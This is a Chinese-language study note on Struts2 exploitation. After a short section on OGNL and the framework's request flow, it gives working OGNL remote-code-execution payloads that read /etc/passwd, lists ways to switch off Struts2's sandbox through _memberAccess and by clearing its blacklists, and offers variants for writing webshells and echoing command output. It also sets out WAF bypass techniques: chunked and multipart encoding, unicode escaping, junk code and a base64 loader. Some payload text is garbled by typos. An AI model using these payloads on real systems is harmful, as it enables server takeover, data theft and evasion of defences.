通用型系统安全测试 -Struts2总结
Struts2
漏洞基础
OGNL
object Graphic Navigation Language
- 表达式语言(其他表达式语言有SpEL、JbossEL.... )
- 帮助开发人员用简单表达式完成一些“常规”工作,使工作简化
- 链式结构: step1, step2..., result (三目: num % 2 == 0? 'even' : 'odd')
OgnlContext ———OGNL上下文关系
- 以map的形式存放大量的JavaBean对象
- 可以通过.setRoot(object)设置上下文中的根对象
- 根对象数据在访问的时候就不需要加#
OGNL的#号
- 访问非根属性
- 用于过滤和投影: subs.{?#this.i>1}·用来构造map: #{k:v, k:v}
Lambda :[e]
OgnlContext中存在一些常用的变量
- _root :在OgnlContext内维护着的Root对象,它是OGNL主要的操作对象
- _values : 以HashMap形式保存传入OgnIContext的上下文环境(如对象、属性值)
- ClassResolver:指定处理class loading的处理类,默认Resolver调用
- Class.forNameTypeConverter:转化处理类,指定对象转成字符串以及字符串转对象的处理方式_memberAccess :指定属性访问策略
Struts 2框架( since 2004)
- 用于开发Java EE网络应用程序的开放源代码网页应用程序架构
- 具有一个前身叫做Struts 1
- 开发者喜欢配合spring、hibernat用,称SSH
- 以OGNL作为默认的表达式语言
- Struts2是MVC基础的框架
执行流程
- 客户端发送一个请求,将封装成HttpServletRequest ;
- 请求经过ActionContextCleanUp可选过滤器、其他Web过滤器如SiteMesh,到达FilterDispatcher过滤器;
- FilterDispatcher过滤器被调用,FilterDispatcher询问ActionMapper来决定这个请求是否需要调用某个Action ;
- 如果ActionMapper 决定需要调用某个Action,FilterDispatcher 把请求的处理交给Action 代理ActionProxy ;
- ActionProxy通过Configuration Manager读取struts.xml 以及它包含的*.xml 配置文件,找到需要调用的Action类;
- 找到需要调用的Action类后,ActionProxy 会创建一个ActionInvocation的实例,依次调用相关Interceptor,调用Action执行获取结果;
- ActionInvocation将查找Result传入到Template进行计算渲染,然后经过Interceptors(和步骤6相反)之后返回HttpservletResponse给用户
Action
Action相当于Model
ActionContext是Action的上下文
- application :当前应用范围的属性(如ServletConfig )
- parameters :当前请求的参数
- session :当前请求会话中所有attributes
- request :当前请求的所有attributes
- attr:首次出现在页面、请求、会话、应用范围的属性
- valueStack :当前Action相关信息
ValueStack相当于OGNL的root,是OgnlValueStack的实例
- 实际以compoundroot进行数据存储(ognl的root )
- 包含当前action的信息,ActionBean进行初始化之后存入
- 可以被OGNL直接访问
- ValueStack贯穿整个Action的生命周期
S2中的%和$
S2中OGNL代码串通常都以这两个符号开头
%号
- %可以取出存在值valueStack中的Action对象
- 例如ActionSupport中有getText方法,则: %{getText('key')}
$号
- 在国际化资源文件中,引用OGNL表达式
- 在Struts 2中引用OGNL表达式
RCE漏洞挖掘
工具脚本
- github-poc
- K8_Struts2_EXP
- Struts2-Scan (开源)
- Struts-scan(开源)
- Struts漏洞检查工具-安恒
识别
- 500报错识别
- 通过网页后缀进行识别
- 默认.action,有些人会改成.do
- struts.action.extension的value设置成action,甚至能够不带后缀解析action
- Spring MVC也会有加的情况
- /struts/webconsole.html
- actionErrors
- request_only_locale
- CheckboxInterceptor
探测
在探测到目标网站使用了Struts2框架后
1.根据漏洞触发点进行漏洞探测
一般按照从新漏洞到旧漏洞的顺序进行尝试
注意并非新漏洞不存在就肯定没有旧漏洞!
2.尽量以最小payload进行检测
使用工具或者脚本一般都是直接跑利用
利用脚本可能会被waf、Filter、Struts2的配置拦截因此一般都是使
用:${11*11}、%{11*11}
查看返回数据是否执行了ognl,例如11*11=121
对于没有明显回显的Struts2漏洞(代码执行/命令执行)
代码:java.lang.Thread.sleep(5000)
代码:java.io.File('./test.txt')
代码:new URL(dnslog).openConnection()
代码︰@org.apache.commons.io.IOUtils@toString(XXXX.getInputStream())
payload构造
1.通过ognl取消Strut2的防护
2.利用静态/动态方法调用写入文件或者执行命令
3.如果需要,则通过输出返回结果(时间、带外、回显)
a=${#_memberAccess["allowStaticMethodAccess"]=true,
#a=@java.lang.Runtime@getRuntime().exec('cat etc/passwd').getInputStream(),
#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(121='+new java.lang.String(#d)),#out.close()}
allowStaticMethodAccess
- @java.lang.Runtime@getRuntime().exec因为是静态方法必定需要这个为true
- new绕过: new java.lang.ProcessBuilder
- ognl绕过:#_memberAccess['allowStaticMethodAccess']=true,
- 反射绕过: getDeclaredField + setAccessible + set
allowStaticFieldAccess
- 是否允许访问静态属性
- Ognl绕过: #_memberAccess['allowStaticFieldAccess']=true,
xwork.MethodAccessor.denyMethodExecution
- 顾名思义是防止OGNL调用方法
- ognl绕过:#context['xwork.MethodAccessor.denyMethodExecution'] = false
excludedPackageNames - HashSet - 在ognlUtil
- Struts维护的一个黑名单,禁止相关包的调用
- 清除绕过:#ognlUtil.getExcludedPackageNames().clear()
- 覆盖绕过:#_memberAccess[' excludedPackageNames']=#_memberAccess['acceptProperties']
excludedClasses - HashSet - 在ognlUtil
- Struts维护的一个黑名单,禁止相关class的调用·清除绕过:#ognlUtil.getExcludedClasses().clear()
- 覆盖绕过:#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties']
excludedPackageNamePatterns - HashSet - 在ognlUtil
- 旧版本中Struts建立的一个黑名单,禁止调用匹配成功的package
- 清除绕过: #ognlUtil.getExcludedClasses().clear()
获取Ognlutil
#container=#context[ "com.opensymphony.xwork2.Actioncontext.container']
#ognlUtil=#container.getlnstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)
防护Payioad变换
- 调用式: #_memberAccess.allowStaticMethodAccess=true
- 数组式: #_memberAccess['allowStaticMethodAccess']=true
- 反射式: #f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true)
- 覆盖式: #dm=@ognl.OgnIContext@DEFAULT_MEMBER_ACCESS, #context.setMemberAccess(#dm)
- 覆盖式: #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
- 调用式: #container=#context["com.opensymphony.xwork2.ActionContext.container"], #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class), #ognlUtil.getExcludedPackageNames().clear()
- 调用式: #_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET
关键Payload变换
- 命令:@java.lang.Runtime@getRuntime().exec()
- 命令:new java.lang.ProcessBuilder({"/bin/bash", "-c","命令"})).start()
- 命令: new%20j\u0061vax.script.ScriptEngineManager().getEngineByN lame("js").eval("new java.lang.ProcessBuilder(['/bin/sh','-c,命令']).start()\u003b")
- 延时:@java.lang.Thread@sleep(10000)
- 请求:@InetAddress@getByName("www.baidu.com") 还有Inet4Address/Inet6Address
- 请求:(new URL("http://www.baidu.com")).openconnection();
- 文件:(new java.io.RandomAccessFile(路径,"rw")).write(@java.util.Base64@getDecoder().decode(Shell内容)
- 文件:#fis=(new java.io.RandomAccessFile(文件;,"r")),#buffer=(new byte[500O]),#fis.read(#buffer)
回显Payload变换
- #resp=@org.apache.struts2.ServletActionContext@getResponse(),#w=#resp.getWriter(),#w.print(输出字符串),#w.close()
- #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse”),#f.getWriter().println(输出的字符串),#f.getWriter().flush(),#f.getWriter().close()
- @org.apache.commons.io.IOUtils@toString(XXXX.getInputStream())
- (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())),(@org.apache.commons.io.IOUtils@copy(XXXX.getInputStream(),#ros)),(#ros.flush())
- #context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader("X-Test', '输出字符串)
常见漏洞
ByPass
对于WAF来说,通常以关键字进行拦截,而我们要做的是避免其检查出关键字,但是也不是每次都能绕过,还是得看人品,看运气
WAF Bypass主要分为四个层面
- 架构层面
利用不检查的信任域、没有保护的源IP等进行绕过
- 资源层面
利用安全设备不影响业务的原则,发送超长数据或者直接DDoS
- 协议层面
利用协议没有完全覆盖、协议解析等问题进行绕过
- 规则层面
利用WAF规则的匹配缺陷进行绕过
协议层面
- Multipart格式绕过
以文件上传的格式进行数据传输,WAF无法正确识别导致绕过
- Chunk格式绕过
Chunk是将数据进行切割,将常见的数据分割后绕过WAF的识别
- Change request method -> Change body encoding
值针对于传递的参数键值对,并且将不再以K=V&...的形式展现,并且这种形式不进行urldecode
必须具有form-data ; name就是参数名,因为这个参数不具备值,则在下一个boundary之前为空
规则层面
规则主要是通过如正则表达式等手段对发送的整个数据包进行校验,通常限制越小越关键则越难以绕过
- 代码字符串——如: org.apache.struts2.ServletActionContext、redirect
- 符号和符号组合——如∶单个符号@,组合符号:$
- 代码字符串+符号——如: method: .redirect:
对于规则层面的绕过可以总结出下面一些方法
- 进行编码—符号编码,Payload编码—— unicode、double urlencode等
- 字符串组合——利用+号以及参数传入的方式进行字符串调用
- 更换符号——例如$可以用%进行替代
- 变更Payload ——针对Payload中不同部分进行更换,采用不同代码达到目的(需要对机制比较了解)
- 添加junkcode——添加不影响代码执行的“垃圾”代码(需要对Struts2机制有一定了解)
添加Junk code
- Struts2会采用开头检测(如∶${、%{ )这种形式进行检测,也就是说,可以藏在某个字符串后面、中间,但是对于也是这样子检查开头的WAF规则就不是很好用了
Payload的编码和符号编码
进行Payload的编码,但是还是很大靶标,而且因为S2的防护可能还需要加上#_memberAccess=@ognl.OgnIContext@DEFAULT_MEMBER_ACCESs
用unicode编码避免一些检测
redirect:${lu0023luO05fmemberAccess=lu0040ognl.OgnlContextlu004ODEFAULT_MEMBER_ACCESS,#p=new sun.misc.BASE64Decoder().decodeBuffer(B64PAYLOAD),#s=newjava.lang.String(#p),@ognl.Ognl@getValue(#s,#context.getRoot()))
而Base64在很多package中有相关方法,可以进行变换﹔
在ognl里面可以用Unicode,但是struts2就不支持
用字符串拼接的方式防止检测
- 主要针对一些引用到字符串的地方
- 拼接+参数传入可能会导致payload很长,但是对于WAF绕过还是有用的
更换Payload
- 针对更换payload,可以参考前面第二部分的内容,对三个部分进行替换
- 而回显部分更是并非一定需要的一个项,完全可以用OOB、时间等方式解决,甚至直接写入webshell
- 可以是很小的变更,也可以是大变更